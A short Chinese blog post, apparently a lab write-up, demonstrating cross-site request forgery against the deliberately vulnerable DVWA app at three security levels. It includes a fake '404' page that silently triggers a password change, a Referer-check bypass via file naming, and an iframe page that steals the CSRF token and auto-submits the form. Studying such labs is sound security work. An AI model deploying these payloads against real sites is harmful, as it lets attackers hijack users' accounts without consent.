CSRF-DVWA利用

LEVE: low
自动跳转change

<head>
<title>404</title>
<meta http-equiv="Content-Language" content="zh-CN">
<script type="text/javascript">
    document.location = "http://192.168.13.83/dvwa/vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change#";
</script>
</head>
<body>
    <h2>页面出错了.  <h2>
</body>
</html>```



LEVE:  medium
这个由于限制的跨域,就是说自己把这段代码放在自己的x.x.x.x服务器就会失效。但是又限制的不是很好,仅仅检测是否请求头包含本机地址
于是

构造文件名为 192.168.13.83.html

由于本地搭建环境地址,把此文件扔于dvwa/目录下,远程访问,实现效果一样

最终password changed



LEVE:  height
高级限制了改密请求必须有crsf-token,
此处在中级基础上即色诱用户点击页面 >一个看不见框架偷偷访问修改密码的页面<,盗取合法用户的crsf-token,进行请求,完成攻击
but,现在的浏览器是不允许跨域请求的,现在相当于用户访问自己远程服务器上的恶意页面,而恶意页面内嵌frame,指向用户,盗crsf-token又修改密码,再向192.168.13.83/dvwa进行请求构成跨域

<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">

function attack()

{

document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
// alert(document.getElementsByName('user_token')[0].value)
// alert(document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;)
// alert(document.getElementById("transfer").action)
document.getElementById("transfer").submit();

}

</script>
</head>

<body onload="attack()">

<iframe src="http://192.168.13.83/dvwa/vulnerabilities/csrf" id="hack" width=1000 height=900>

</iframe>

<form method="GET" id="transfer" action="http://192.168.13.83/dvwa/vulnerabilities/csrf">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="user_token" value="">

<input type="hidden" name="Change" value="Change">

</form>

</body></html>


现在存在现实就是跨域无法实现 采用XSS高级插出token
好了 去玩XSS
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容